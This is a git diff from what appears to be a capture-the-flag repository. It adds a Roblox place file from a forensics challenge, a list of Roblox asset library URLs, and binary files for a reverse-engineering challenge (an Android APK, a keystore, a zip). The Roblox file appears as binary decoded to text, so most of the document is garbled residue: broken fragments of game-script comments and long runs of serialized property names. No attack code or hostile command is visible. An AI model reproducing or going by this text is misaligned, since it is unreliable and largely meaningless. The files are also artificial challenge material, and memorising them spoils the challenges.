+? * #
+s createsC
+destroys FX
+@er c9
+s necessaryu
+ effectC
+ q on all
+`Storag
+Bsafe
+ = require(5
+r: Model%
+j a newi
+ that ge]
+3Whe
+ re[
+(d,R
+stryChanged
+ _ion
+*.AA
+1 if
+:IsDescendantOf(&
+S:Discz
+'ong
+bSmoothc
+P's mo
+q follow
+Pdiffe
+ speeds
+@vert
+horizont*
+ARath
+#an*
+Aly s
+`offset
+applied
+avoids jit
+by desync betwe&
+render f1
+physics s
+@Plat
+Magnitud
+rs.Localy
+4nil
+RXZ = y c3.zeroE
+xopposit
+it lags behind
+FXZ -P
+.AssemblyLinear
+JY, 0I
+we don't lose s
+T fast
+6XZ,_
+.CAMERA_MAX_DISTANCE)D
+back to
+@does
+get left
+SMOOTH_HORIZONTAL
+.jVERTICg
+CXZ +
+$ +%
+w:BindTo
+", Enum.#
+PPrior
+.Value + 1,J
+0han
+a input5
+B, re)
+`defaul
+cputs
+binterf
+Awith
+ icY
+!ouX
+king, a Q
+t loop
+0ead
+Bemen
+`jump vn
+as fromq
+a modif
+Pin or
+qto impl
+ features su1
+QManag.
+pwasJump
+}= falsen
+1har?
+0hoo
+ itself.g
+EputD
+5* w
+`divideV
+!rm#
+D it.
+/ //
+`should
+' =@
+m jdisabl/
+mechanics
+ our ownn
+P:setI
+B-- II
+was attempt
+P, per]
+`("Base3
+rSpecial5
+!(_J
+Q: str
+bState:j
+AUser+
+", 1
+? ~=B
+Q.Begi%
+Q-- Eii
+ or dash
+AuserW
+2vat
+"Bir s
+bbind a
+highest p
+Poverr
+Othemg
+x P.CONT\
+ER_RENDER_STEP_BIND{
+BLasty
+SPECIAL_ACTIONj
+KEYBOARDf
+KEY_CODE'
+nGAMEPA&
+?insh
+ Pany
+@COIN
+P.GameJ
+${}{
+ on>
+0oin
+B:IsAy
+`"), `{
+d be a
+0if "
+/! cy
+r visual
+`pickup
+Tavior
+!ism
+!_,=
+dOneWay
+s one waye
+ws (i.e.
+rough but
+`fall dA
+5).
+ONE_WAY_PLATFORM
+)`ir CanP
+property
+1whe
+[&Pabove
+Pbelow.
+2ly,&
+L% te<'2ion
+u collis)
+@runn
+`ts simH#
+@lso
+l'@op o1&
+= true). To re-en
+QGroup
+ 1a g
+Clast^
+%= j&
+0.LO/
+CHARACTER_GROUPn
+6Get.
+P-- Ke
+'of\
+pey're a
+0ly
+! i2
+`spawne
+E, no
+` everyy12gle
+"3, e
+"!s,_
+'ve capp|
+#hem.
+E30hz
+Qelapsh'
+os.clock() -
+P< 1 /,
+UPDATE_RATE{
+Ifeet.$
+ir hip he
+PfootP
+E.Y -
+S.HipH;
+re far a
+3max
++Amax(U-3abs
+ $.X
+ Z)A''ifV
+ CinueX
+1ted
+Qed usQ
+Pribut
+ *el
+-RTypeVS
+Jion.D
+3tesQ
+2setG
+AEven
+`e argu
+Make surY
+a@##id
+already setr
+ATTRIBUTE
+q a sepa
+REPLICATED
+@poor
+Vcould}
+5ver
+!.OA8!er
+>ith#
+3dis?
+ For exa.%d: If a
+#is_
+`ownersn
+'Bt as8
+Pcan l~&eto case
+6the
+?run&
+!glF6
+ To fix
+Rassigw
+pwhich dI!
+!th(
+@:Reg&D
+1Set
+iMOVINGf
+4oin
+system. Lea
+)"atB
+Hto k
+Qamoun
+s detectj
+4Qminim
+Tto en?
+!.P)(
+:fPICKUP
+D= 50
+p"Folder
+LG = "
+1Int@9
+(!rekA
+eak memoryl
+@yer]
+*`): boo
+(!,
+1ctu
+0tryO
+x:HasTagl
+!ha(
+@in a
+:!so
+5= (
+:GetPivot()
+%).{B
+BIncr
+:FindFirst}M
+up multip
+Aimes
+iFEqored peA!
++&nt;
+Pknows
+0suc
+J!fu
+PInvok=
+Pze()
+PROP)
+SourceAssetId
+PROP
+Tags
+PROPf
+UniqueId
+EMNO
+""""""""""""PROP"
+AttributesSerialize
+PROP
+Capabilities!
+PROP
+DefinesCapabilities
+PROP
+HistoryId
+PROP
+Name
+ScriptServicePROP
+SourceAssetId
+PROP
+Tags
+PROP#
+UniqueId
+PROP"
+AttributesSerialize
+PROP
+Capabilities!
+PROP
+DefinesCapabilities
+PROP
+HistoryId
+PROP
+Name
+SelectionPROP
+SourceAssetId
+PROP
+Tags
+PROP#
+UniqueId
+PROP"
+AttributesSerialize
+PROP
+Capabilities!
+PROP
+DefinesCapabilities
+PROP
+HistoryId
+PROP
+LoadStringEnabled
+PROP&
+Name
+ServerScriptServicePROP
+SourceAssetId
+PROP
+Tags
+PROP#
+UniqueId
+"PROP"
+AttributesSerialize
+PROP
+Capabilities!
+PROP
+DefinesCapabilities
+PROP
+HistoryId
+PROP
+Name
+ServerStoragePROP
+SourceAssetId
+PROP
+Tags
+PROP#
+UniqueId
+PROP"
+AttributesSerialize
+PROP
+Capabilities!
+PROP
+DefinesCapabilities
+PROP!
+HiddenServices
+PROP
+HistoryId
+PROP+
+Name
+ServiceVisibilityServicePROP
+SourceAssetId
+PROP
+Tags
+PROP#
+UniqueId
+"PROP"
+VisibleServices
+PROP"
+AttributesSerialize
+PROP
+Capabilities!
+PROP
+CelestialBodiesShown
+PROP
+DefinesCapabilities
+PROP
+HistoryId
+PROP
+MoonAngularSize
+PROP3
+MoonTextureId
+rbxasset://sky/moon.jpgPROP
+Name
+TemplateSkyPROP/
+SkyboxBk
+rbxassetid://18446784348PROP/
+SkyboxDn
+rbxassetid://18446786285PROP/
+SkyboxFt
+rbxassetid://18446787378PROP/
+SkyboxLf
+rbxassetid://18446788329PROP(
+SkyboxOrientation
+PROP/
+SkyboxRt
+rbxassetid://18446789719PROP/
+SkyboxUp
+rbxassetid://18446795956PROP
+SourceAssetId
+XPROP
+StarCount
+PROP
+SunAngularSize
+PROP1
+SunTextureId
+rbxasset://sky/sun.jpgPROP
+Tags
+PROP#
+UniqueId
+"PROP
+AmbientReverb
+PROP"
+AttributesSerialize
+PROP
+AudioApiByDefault
+PROP
+Capabilities!
+PROP'
+CharacterSoundsUseNewApi
+PROP&
+DefaultListenerLocation
+PROP
+DefinesCapabilities
+PROP
+DistanceFactor
+=pPROP
+DopplerScale
+PROP
+HistoryId
+PROP(
+IsNewExpForAudioApiByDefault
+PROP
+Name
+SoundServicePROP#
+RespectFilteringEnabled
+PROP
+RolloffScale
+PROP
+SourceAssetId
+PROP
+Tags
+PROP#
+UniqueId
+"PROP
+VolumetricAudio
+PROP"
+AllowTeamChangeOnTouch
+PROP
+Anchored
+PROP"
+AttributesSerialize
+PROP
+AudioCanCollide
+PROP
+BackParamA
+PROP
+BackParamB
+PROP
+BackSurface
+PROP
+BackSurfaceInput
+PROP
+BottomParamA
+PROP
+BottomParamB
+PROP
+BottomSurface
+PROP!
+BottomSurfaceInput
+PROP.
+CFrame
+PROP
+CanCollide
+PROP
+CanQuery
+PROP
+CanTouch
+PROP
+Capabilities!
+PROP
+CastShadow
+PROP$
+CollisionGroup
+DefaultPROP
+CollisionGroupId
+PROP
+Color3uint8
+PROP$
+CustomPhysicalProperties
+PROP
+DefinesCapabilities
+PROP
+Duration
+PROP
+EnableFluidForces
+PROP
+Enabled
+PROP
+FrontParamA
+PROP
+FrontParamB
+PROP
+FrontSurface
+PROP
+FrontSurfaceInput
+PROP
+HistoryId
+PROP
+LeftParamA
+PROP
+LeftParamB
+PROP
+LeftSurface
+PROP
+LeftSurfaceInput
+PROP
+Locked
+PROP
+Massless
+PROP
+Material
+PROP&
+MaterialVariantS
+ized
+PROP
+Name
+SpawnLocationPROP
+Neutral
+PROP#
+PivotOffset
+PROP
+Reflectance
+PROP
+RightParamA
+PROP
+RightParamB
+PROP
+RightSurface
+PROP
+RightSurfaceInput
+PROP
+RootPriority
+PROP"
+RotVelocity
+PROP
+SourceAssetId
+PROP
+Tags
+PROP
+TeamColor
+PROP
+TopParamA
+PROP
+TopParamB
+PROP
+TopSurface
+PROP
+TopSurfaceInput
+PROP
+Transparency
+PROP#
+UniqueId
+"PROP
+Velocity
+PROP
+formFactorRaw
+PROP
+shape
+PROP
+size
+PROP"
+AttributesSerialize
+PROP
+Capabilities!
+PROP
+DefinesCapabilities
+PROP
+HistoryId
+PROP*
+Name
+StarterCharacterScriptsPROP
+SourceAssetId
+PROP
+Tags
+PROP#
+UniqueId
+"PROP"
+AttributesSerialize
+PROP
+Capabilities!
+PROP
+DefinesCapabilities
+PROP
+HistoryId
+PROP
+Name
+StarterGuiPROP!
+ResetPlayerGuiOnSpawn
+PROP
+RtlTextSupport
+PROP
+ScreenOrientation
+PROP
+ShowDevelopmentGui
+PROP
+SourceAssetId
+PROP&
+StudioDefaultStyleSheet
+PROPA
+StudioInsertWidgetLayerCollectorAutoLinkStyleSheet
+PROP
+Tags
+PROP#
+UniqueId
+"PROP
+VirtualCursorMode
+PROP"
+AttributesSerialize
+PROP
+Capabilities!
+PROP
+DefinesCapabilities
+PROP
+HistoryId
+PROP
+Name
+StarterPackPROP
+SourceAssetId
+PROP
+Tags
+PROP#
+UniqueId
+"PROP!
+AllowCustomAnimations
+PROP"
+AttributesSerialize
+PROP
+AutoJumpEnabled
+PROP3
+AvatarJointUpgrade_SerializedRollout
+PROP$
+CameraMaxZoomDistance
+PROP$
+CameraMinZoomDistance
+PROP
+CameraMode
+PROP
+Capabilities!
+PROP"
+CharacterJumpHeight
+PROP!
+CharacterJumpPower
+PROP%
+CharacterMaxSlopeAngle
+PROP!
+CharacterUseJumpPower
+PROP!
+CharacterWalkSpeed
+PROP
+ClassicDeath
+PROP
+DefinesCapabilities
+PROP%
+DevCameraOcclusionMode
+PROP,
+DevComputerCameraMovementMode
+PROP&
+DevComputerMovementMode
+PROP)
+DevTouchCameraMovementMode
+PROP#
+DevTouchMovementMode
+PROP!
+EnableDynamicHeads
+PROP!
+EnableMouseLockOption
+PROP*
+GameSettingsAssetIDFace
+PROP*
+GameSettingsAssetIDHead
+PROP-
+GameSettingsAssetIDLeftArm
+PROP-
+GameSettingsAssetIDLeftLeg
+PROP+
+GameSettingsAssetIDPants
+PROP.
+GameSettingsAssetIDRightArm
+PROP.
+GameSettingsAssetIDRightLeg
+PROP+
+GameSettingsAssetIDShirt
+PROP.
+GameSettingsAssetIDTeeShirt
+PROP+
+GameSettingsAssetIDTorso
+PROP!
+GameSettingsAvatar
+PROP'
+GameSettingsR15Collision
+PROP1
+GameSettingsScaleRangeBodyType
+?PROP-
+GameSettingsScaleRangeHead
+33s?
+?PROP/
+GameSettingsScaleRangeHeight
+fff?ff
+?PROP3
+GameSettingsScaleRangeProportion
+?PROP.
+GameSettingsScaleRangeWidth
+333?
+?PROP$
+HealthDisplayDistance
+PROP
+HistoryId
+PROP#
+LoadCharacterAppearance
+PROP+
+LoadCharacterLayeredClothing
+PROP%
+LuaCharacterController
+PROP
+Name
+StarterPlayerPROP"
+NameDisplayDistance
+PROP
+RagdollDeath
+PROP
+SourceAssetId
+PROP
+Tags
+PROP#
+UniqueId
+"PROP
+UserEmotesEnabled
+PROP"
+AttributesSerialize
+PROP
+Capabilities!
+PROP
+DefinesCapabilities
+PROP
+HistoryId
+PROP'
+Name
+StarterPlayerScriptsPROP
+SourceAssetId
+PROP
+Tags
+PROP#
+UniqueId
+"PROP"
+AttributesSerialize
+PROP
+Capabilities!
+PROP
+DefinesCapabilities
+PROP
+HistoryId
+PROP
+Name
+InsertionHashPROP
+SourceAssetId
+PROP
+Tags
+PROP#
+UniqueId
+"PROP:
+Value
+{946F4158-F0CE-4D42-82D0-53406C8154B9}PROP"
+AttributesSerialize
+PROP
+Capabilities!
+PROP
+DefinesCapabilities
+PROP-
+EnableScriptCollabByDefaultOnLoad
+PROP
+HistoryId
+PROP
+Name
+StudioDataPROP
+SourceAssetId
+PROP
+Tags
+PROP#
+UniqueId
+"PROP"
+AttributesSerialize
+PROP
+Capabilities!
+PROP
+DefinesCapabilities
+PROP
+Enabled
+PROP
+HistoryId
+PROP
+Intensity
+PROP
+Name
+SunRaysPROP
+SourceAssetId
+PROP
+Spread
+|334PROP
+Tags
+PROP#
+UniqueId
+"PROP+
+AlphaMode
+PROP,
+AttributesSerialize
+PROP*
+Capabilities!
+PROP8
+Color
+PROP
+ColorMap
+rbxassetid://17183348350
+6100880821`
+3610824138
+_918368
+744108133l
+829326734
+6100880821PROP)
+DefinesCapabilities
+PROP1
+HistoryId
+PROPW
+MetalnessMap
+rbxassetid://13744107676
+829317808T
+PROP
+Name
+SA_EC_Foligae_A
+OB_Ivy_a
+EC_Rock_Larg
+]Small,
+OTrim
+urfaceAppearanceE
+PIvy_aPROP
+NormalMap
+rbxassetid://13674996849
+6100883293`
+10823377
+O9137
+744107434
+82932605
+6100883293PROP
+RoughnessMap
+rbxassetid://13674996487
+610088446`
+10822782
+_910438
+744106956l
+829326450
+6100884467PROP0
+SourceAssetId
+PROP
+Tags
+PROP
+TexturePack
+rbxassetid://17183348662
+6100884703`
+3610840090
+_934088
+74411191l
+8293267634
+6100884703PROP
+UniqueId
+NQTWZ]`cfilorux{~
+ #&),/258;>ADGJMPSVY\_behknqtwz}
+"%(+.147:=@CFILORUX[^adgjmpsvy|
+!$'*-0369XYV
+lcdf
+|_ypbKJJ
+CPTT
+PROP&
+MaterialVariantS
+ized
+PROP
+Name
+TerrainPROP(
+PhysicsGrid
+PROP#
+PivotOffset
+PROP
+Reflectance
+PROP
+RightParamA
+PROP
+RightParamB
+PROP
+RightSurface
+PROP
+RightSurfaceInput
+PROP
+RootPriority
+PROP"
+RotVelocity
+PROP
+SmoothGrid
+PROP
+SmoothVoxelsUpgraded
+PROP
+SourceAssetId
+PROP
+Tags
+PROP
+TopParamA
+PROP
+TopParamB
+PROP
+TopSurface
+PROP
+TopSurfaceInput
+PROP
+Transparency
+PROP#
+UniqueId
+"PROP
+Velocity
+PROP!
+WaterColor
+}QQR}qqrPROP
+WaterReflectance
+PROP
+WaterTransparency
+}334PROP
+WaterWaveSize
+PROP
+WaterWaveSpeed
+PROP
+size
+PROP"
+AttributesSerialize
+PROP
+AutoRuns
+PROP
+Capabilities!
+PROP
+DefinesCapabilities
+PROP
+Description
+PROP
+ExecuteWithStudioRun
+PROP
+HistoryId
+PROP+
+IsPhysicsEnvironmentalThrottled
+PROP
+IsSleepAllowed
+PROP
+Name
+TestServicePROP
+NumberOfPlayers
+PROP%
+SimulateSecondsLag
+PROP
+SourceAssetId
+PROP
+Tags
+PROP%
+ThrottlePhysicsToRealtime
+PROP
+Timeout
+$@PROP#
+UniqueId
+"PROP
+Active
+PROP
+AnchorPoint
+PROP"
+AttributesSerialize
+PROP
+AutoButtonColor
+PROP
+AutoLocalize
+PROP
+AutomaticSize
+PROP'
+BackgroundColor3
+PROP%
+BackgroundTransparency
+PROP#
+BorderColor3
+|QQR|
+PROP
+BorderMode
+PROP
+BorderSizePixel
+PROP
+Capabilities!
+PROP
+ClipsDescendants
+PROP
+DefinesCapabilities
+PROP
+Draggable
+PROPZ
+FontFace ,
+rbxasset://fonts/families/SourceSansPro.json
+-Regular.ttfPROP
+HistoryId
+PROP
+HoverHapticEffect
+PROP
+Interactable
+PROP
+LayoutOrder
+PROP
+LineHeight
+PROP*
+LocalizationMatchIdentifier
+PROP,
+LocalizationMatchedSourceText
+PROP"
+MaxVisibleGraphemes
+PROP
+Modal
+PROP
+Name
+TouchButtonPROP
+NextSelectionDown
+PROP
+NextSelectionLeft
+PROP!
+NextSelectionRight
+PROP
+NextSelectionUp
+PROP
+OpenTypeFeatures
+PROP
+Position
+PROP
+PressHapticEffect
+PROP
+RichText
+PROP$
+RootLocalizationTable
+PROP
+Rotation
+PROP
+Selectable
+PROP
+Selected
+PROP$
+SelectionBehaviorDown
+PROP$
+SelectionBehaviorLeft
+PROP%
+SelectionBehaviorRight
+PROP"
+SelectionBehaviorUp
+PROP
+SelectionGroup
+PROP#
+SelectionImageObject
+PROP
+SelectionOrder
+PROP
+Size
+PROP
+SizeConstraint
+PROP
+SourceAssetId
+PROP
+Style
+PROP
+Tags
+PROP
+Text
+PROP!
+TextColor3
+PROP
+TextDirection
+PROP
+TextScaled
+PROP
+TextSize
+PROP'
+TextStrokeColor3
+PROP%
+TextStrokeTransparency
+PROP
+TextTransparency
+PROP
+TextTruncate
+PROP
+TextWrapped
+PROP
+TextXAlignment
+PROP
+TextYAlignment
+PROP#
+UniqueId
+"PROP
+Visible
+PROP
+ZIndex
+PROP"
+AttributesSerialize
+PROP
+Capabilities!
+PROP$
+ChatTranslationFTUXShown
+PROP(
+ChatTranslationToggleEnabled
+PROP
+ChatVersion
+PROP!
+CreateDefaultCommands
+PROP%
+CreateDefaultTextChannels
+PROP
+DefinesCapabilities
+PROP$
+HasSeenDeprecationDialog
+PROP
+HistoryId
+PROP
+IsLegacyChatDisabled
+PROP"
+Name
+TextChatServicePROP
+SourceAssetId
+PROP
+Tags
+PROP#
+UniqueId
+"PROP
+Active
+PROP"
+AnchorPoint
+PROP&
+AttributesSerialize
+PROP
+AutoLocalize
+PROP
+AutomaticSize
+PROP3
+BackgroundColor3
+LPROP)
+BackgroundTransparency
+PROP/
+BorderColor3
+||QQQQRR||
+PROP
+BorderMode
+PROP"
+BorderSizePixel
+PROP
+Capabilities!
+PROP
+ClipsDescendants
+PROP
+DefinesCapabilities
+PROP
+Draggable
+PROP\
+FontFace (
+rbxasset://fonts/families/GothamSSm.json
+-Medium.otfPROP
+HistoryId
+PROP
+Interactable
+PROP
+LayoutOrder
+PROP
+LineHeight
+PROP.
+LocalizationMatchIdentifier
+PROP0
+LocalizationMatchedSourceText
+PROP&
+MaxVisibleGraphemes
+PROP3
+Name
+ActionLabel
+KeyboardTextLabelPROP$
+NextSelectionDown
+PROP$
+NextSelectionLeft
+PROP%
+NextSelectionRight
+PROP"
+NextSelectionUp
+PROP#
+OpenTypeFeatures
+PROP(
+Position
+PROP
+RichText
+PROP(
+RootLocalizationTable
+PROP
+Rotation
+PROP
+Selectable
+PROP(
+SelectionBehaviorDown
+PROP(
+SelectionBehaviorLeft
+PROP)
+SelectionBehaviorRight
+PROP&
+SelectionBehaviorUp
+PROP
+SelectionGroup
+PROP'
+SelectionImageObject
+PROP!
+SelectionOrder
+PROP
+Size
+PROP!
+SizeConstraint
+PROP!
+SourceAssetId
+PROP
+Tags
+PROP'
+Text
+Keyboard Action
+EPROP"
+TextColor3
+PROP
+TextDirection
+PROP
+TextScaled
+PROP
+TextSize
+PROP$
+TextStrokeColor3
+PROP)
+TextStrokeTransparency
+PROP#
+TextTransparency
+PROP
+TextTruncate
+PROP
+TextWrapped
+PROP!
+TextXAlignment
+PROP!
+TextYAlignment
+PROP3
+UniqueId
+ /6
+``YY
+""PROP
+Visible
+PROP
+ZIndex
+PROP"
+AttributesSerialize
+PROP
+Capabilities!
+PROP
+DefinesCapabilities
+PROP
+HistoryId
+PROP
+Name
+TimerServicePROP
+SourceAssetId
+PROP
+Tags
+PROP#
+UniqueId
+PROP"
+AttributesSerialize
+PROP
+Capabilities!
+PROP
+DefinesCapabilities
+PROP
+HistoryId
+PROP$
+Name
+TouchInputServicePROP
+SourceAssetId
+PROP
+Tags
+PROP#
+UniqueId
+PROP"
+AttributesSerialize
+PROP
+Capabilities!
+PROP
+DefinesCapabilities
+PROP
+HistoryId
+PROP
+Name
+TweenServicePROP
+SourceAssetId
+PROP
+Tags
+PROP#
+UniqueId
+PROP"
+AttributesSerialize
+PROP
+Capabilities!
+PROP
+DefinesCapabilities
+PROP
+HistoryId
+PROP#
+Name
+UGCAvatarServicePROP
+SourceAssetId
+PROP
+Tags
+PROP#
+UniqueId
+"PROP*
+AttributesSerialize
+PROP
+Capabilities!
+PROP#
+CornerRadius
+PROP!
+DefinesCapabilities
+PROP
+HistoryId
+PROP$
+Name
+UICorner
+PornerPROP!
+SourceAssetId
+PROP
+Tags
+PROPB
+UniqueId
+```YYY
+"""PROP"
+AttributesSerialize
+PROP
+Capabilities!
+PROP&
+Color
+PROP
+DefinesCapabilities
+PROP
+Enabled
+PROP
+HistoryId
+PROP
+Name
+UIGradientPROP
+Offset
+PROP
+Rotation
+PROP
+SourceAssetId
+PROP
+Tags
+PROP&
+Transparency
+PROP#
+UniqueId
+"PROP&
+AttributesSerialize
+PROP
+Capabilities!
+PROP
+DefinesCapabilities
+PROP
+FillDirection
+PROP
+HistoryId
+PROP&
+HorizontalAlignment
+PROP!
+HorizontalFlex
+PROP$
+ItemLineAlignment
+PROP'
+Name
+UIListLayout
+PayoutPROP
+Padding
+PROP
+SortOrder
+PROP!
+SourceAssetId
+PROP
+Tags
+PROP3
+UniqueId
+ *.
+``YY
+""PROP$
+VerticalAlignment
+PROP
+VerticalFlex
+PROP
+Wraps
+PROP&
+AttributesSerialize
+PROP
+Capabilities!
+PROP
+DefinesCapabilities
+PROP
+HistoryId
+PROP$
+Name
+UIPadding
+PddingPROP!
+PaddingBottom
+PROP
+PaddingLeft
+PROP
+PaddingRight
+PROP
+PaddingTop
+PROP!
+SourceAssetId
+PROP
+Tags
+PROP3
+UniqueId
+``YY
+""PROP"
+AttributesSerialize
+PROP
+Capabilities!
+PROP
+DefinesCapabilities
+PROP
+HistoryId
+PROP
+Name
+UIScalePROP
+Scale
+PROP
+SourceAssetId
+PROP
+Tags
+PROP#
+UniqueId
+"PROP#
+AeroMeshData
+PROP
+Anchored
+PROP]
+AssetId
+https://www.roblox.com//a$
+/?id=183232438341
+4003158451
+236913011PROP*
+AttributesSerialize
+PROP
+AudioCanCollide
+PROP!
+BackParamA
+PROP!
+BackParamB
+PROP"
+BackSurface
+PROP'
+BackSurfaceInput
+PROP#
+BottomParamA
+PROP#
+BottomParamB
+PROP$
+BottomSurface
+PROP(
+BottomSurfaceInput
+PROPI
+CFrame
+PROP
+CanCollide
+PROP
+CanQuery
+PROP
+CanTouch
+PROP
+Capabilities!
+PROP
+CastShadow
+PROP
+ChildData
+PROP!
+ChildData2
+PROP,
+CollisionGroup
+Default
+PfaultPROP'
+CollisionGroupId
+PROP
+Color3uint8
+PROP%
+ComponentIndex
+PROP&
+CustomPhysicalProperties
+PROP!
+DefinesCapabilities
+PROP
+EnableFluidForces
+PROP,
+FluidFidelityInternal
+PROP!
+FormFactor
+PROP"
+FrontParamA
+PROP"
+FrontParamB
+PROP#
+FrontSurface
+PROP(
+FrontSurfaceInput
+PROP
+HistoryId
+PROP8
+InitialSize
+PROP!
+LeftParamA
+PROP!
+LeftParamB
+PROP"
+LeftSurface
+PROP'
+LeftSurfaceInput
+PROP
+Locked
+PROP
+Massless
+PROP
+Material
+PROPG
+MaterialVariantS
+ized
+Concrete_Template_Walls
+PWallsPROP
+MeshData
+PROP
+MeshData2
+PROP#
+Name
+Union
+basePROP
+OffCentered
+PROP)
+PhysicalConfigData
+PROP"
+PhysicsData
+PROP#
+PivotOffset
+PROP"
+Reflectance
+PROP%
+RenderFidelity
+PROP"
+RightParamA
+PROP"
+RightParamB
+PROP#
+RightSurface
+PROP(
+RightSurfaceInput
+PROP#
+RootPriority
+PROP
+RotVelocity
+PROP%
+SmoothingAngle
+PROP!
+SourceAssetId
+PROP
+Tags
+PROP
+TopParamA
+PROP
+TopParamB
+PROP!
+TopSurface
+PROP&
+TopSurfaceInput
+PROP#
+Transparency
+PROPB
+UniqueId
+```YYY
+"""PROP*
+UnscaledCofm
+PROP5
+UnscaledVolInertiaDiags
+PROP8
+UnscaledVolInertiaOffDiags
+PROP%
+UnscaledVolume
+PROP
+UsePartColor
+PROP
+Velocity
+PROP1
+size
+PROP"
+AttributesSerialize
+PROP
+AutomaticScaling
+PROP
+AvatarGestures
+PROP
+Capabilities!
+PROP
+ControllerModels
+PROP
+DefinesCapabilities
+PROP"
+FadeOutViewOnCollision
+PROP
+HistoryId
+PROP
+LaserPointer
+PROP
+Name
+VRServicePROP
+SourceAssetId
+PROP
+Tags
+PROP#
+UniqueId
+"PROP"
+AttributesSerialize
+PROP
+Capabilities!
+PROP
+DefinesCapabilities
+PROP
+HistoryId
+PROP&
+Name
+VideoCaptureServicePROP
+SourceAssetId
+PROP
+Tags
+PROP#
+UniqueId
+PROP"
+AttributesSerialize
+PROP
+Capabilities!
+PROP
+DefinesCapabilities
+PROP
+HistoryId
+PROP
+Name
+VideoServicePROP
+SourceAssetId
+PROP
+Tags
+PROP#
+UniqueId
+PROP"
+AttributesSerialize
+PROP
+Capabilities!
+PROP
+DefinesCapabilities
+PROP
+HistoryId
+PROP&
+Name
+VirtualInputManagerPROP
+SourceAssetId
+PROP
+Tags
+PROP#
+UniqueId
+PROP"
+AttributesSerialize
+PROP
+Capabilities!
+PROP)
+DefaultDistanceAttenuation
+PROP
+DefinesCapabilities
+PROP
+EnableDefaultVoice
+PROP
+HistoryId
+PROP#
+Name
+VoiceChatServicePROP
+SourceAssetId
+PROP
+Tags
+PROP#
+UniqueId
+"PROP
+UseAudioApi
+PROP(
+AttributesSerialize
+PROP_
+CFrame0
+PROP!
+Capabilities!
+PROP'
+DefinesCapabilities
+PROP
+HistoryId
+PROP*
+Name
+WeldConstraint
+xPraintPROP+
+Part0Internal
+PROP+
+Part1Internal
+PROP&
+SourceAssetId
+PROP
+State
+PROP
+Tags
+PROP]
+UniqueId
+ 5YZij{|gh
+"""""""""PROP(
+AttributesSerialize
+PROP!
+Capabilities!
+PROP*
+DefinesCapabilities
+PROP
+HistoryId
+PROP
+Name
+OWire
+WirePROP)
+SourceAssetId
+PROP/
+SourceInstance
+PROP(
+SourceName
+Output
+VPutputPROP
+Tags
+PROP/
+TargetInstance
+PROP'
+TargetName
+Input
+KPInputPROPb
+UniqueId
+""""""""""""PROP
+AirDensity
+PROP
+AllowThirdPartySales
+PROP"
+AttributesSerialize
+PROP$
+AvatarUnificationMode
+PROP
+Capabilities!
+PROP'
+ClientAnimatorThrottling
+PROP1
+CollisionGroupData
+DefaultPROP
+CurrentCamera
+0PROP
+DefinesCapabilities
+PROP&
+DistributedGameTime
+PROP
+ExplicitAutoJoints
+PROP
+FallHeightEnabled
+PROP'
+FallenPartsDestroyHeight
+PROP
+FluidForces
+PROP!
+GlobalWind
+PROP
+Gravity
+PROP
+HistoryId
+PROP)
+IKControlConstraintSupport
+PROP
+LevelOfDetail
+PROP*
+MeshPartHeadsAndAccessories
+PROP'
+ModelMeshCFrame
+PROP
+ModelMeshData
+PROP$
+ModelMeshSize
+PROP%
+ModelStreamingBehavior
+PROP!
+ModelStreamingMode
+PROP*
+MoverConstraintRootBehavior
+PROP
+Name
+WorkspacePROP
+NeedsPivotMigration
+PROP+
+PathfindingUseImprovedSearch
+PROP#
+PhysicsImprovedSleep
+PROP$
+PhysicsSteppingMethod
+PROP-
+PlayerCharacterDestroyBehavior
+PROP"
+PrimalPhysicsSolver
+PROP
+PrimaryPart
+PROP'
+RejectCharacterDeletions
+PROP*
+RenderingCacheOptimizations
+PROP.
+ReplicateInstanceDestroySetting
+PROP
+Retargeting
+PROP$
+SandboxedInstanceMode
+PROP
+ScaleFactor
+PROP
+SignalBehavior2
+PROP
+SourceAssetId
+PROP
+StreamOutBehavior
+PROP
+StreamingEnabled
+PROP%
+StreamingIntegrityMode
+PROP!
+StreamingMinRadius
+PROP$
+StreamingTargetRadius
+PROP
+Tags
+PROP
+TerrainWeldsFixed
+PROP,
+TouchEventsUseCollisionGroups
+PROP%
+TouchesUseCollisionGroups
+PROP#
+UniqueId
+"PROP#
+UseNewLuauTypeSolver
+PROP$
+WorldPivotData
+PRNTN
+"!&%
+*).-2165:9
+$#('q
+
diff --git a/2025/smiley/forensics/rorecovery12/roblox_assets.txt b/2025/smiley/forensics/rorecovery12/roblox_assets.txt
new file mode 100644
index 0000000..c4d508b
--- /dev/null
+++ b/2025/smiley/forensics/rorecovery12/roblox_assets.txt
@@ -0,0 +1,23 @@
+https://www.roblox.com/library/13454776783
+https://www.roblox.com/library/13455044763
+https://www.roblox.com/library/13471227918
+https://www.roblox.com/library/13674996487
+https://www.roblox.com/library/13674996849
+https://www.roblox.com/library/13676363152
+https://www.roblox.com/library/13744107676
+https://www.roblox.com/library/14145234694
+https://www.roblox.com/library/14302399641
+https://www.roblox.com/library/14710466405
+https://www.roblox.com/library/14710478118
+https://www.roblox.com/library/14710478245
+https://www.roblox.com/library/14711085086
+https://www.roblox.com/library/16658221428
+https://www.roblox.com/library/17183348350
+https://www.roblox.com/library/17183348662
+https://www.roblox.com/library/18249522115
+https://www.roblox.com/library/18446784348
+https://www.roblox.com/library/18446786285
+https://www.roblox.com/library/18446787378
+https://www.roblox.com/library/18446788329
+https://www.roblox.com/library/18446789719
+https://www.roblox.com/library/18446795956
diff --git a/2025/smiley/forensics/rorecovery12/rorecovery12 b/2025/smiley/forensics/rorecovery12/rorecovery12
new file mode 100644
index 0000000..bb9369e
Binary files /dev/null and b/2025/smiley/forensics/rorecovery12/rorecovery12 differ
diff --git a/2025/tfc/misc/minijail.zip b/2025/tfc/misc/minijail.zip
new file mode 100644
index 0000000..ef5b126
Binary files /dev/null and b/2025/tfc/misc/minijail.zip differ
diff --git a/2025/tfc/rev/.gitignore b/2025/tfc/rev/.gitignore
new file mode 100644
index 0000000..378ac60
--- /dev/null
+++ b/2025/tfc/rev/.gitignore
@@ -0,0 +1,3 @@
+game_dec/
+game_jadx/
+patched_app/
diff --git a/2025/tfc/rev/__MACOSX/._app-release.apk b/2025/tfc/rev/__MACOSX/._app-release.apk
new file mode 100644
index 0000000..8d6e534
Binary files /dev/null and b/2025/tfc/rev/__MACOSX/._app-release.apk differ
diff --git a/2025/tfc/rev/apk.keystore b/2025/tfc/rev/apk.keystore
new file mode 100644
index 0000000..58b6da0
Binary files /dev/null and b/2025/tfc/rev/apk.keystore differ
diff --git a/2025/tfc/rev/app-release.apk b/2025/tfc/rev/app-release.apk
new file mode 100644
index 0000000..069d8a5
Binary files /dev/null and b/2025/tfc/rev/app-release.apk differ
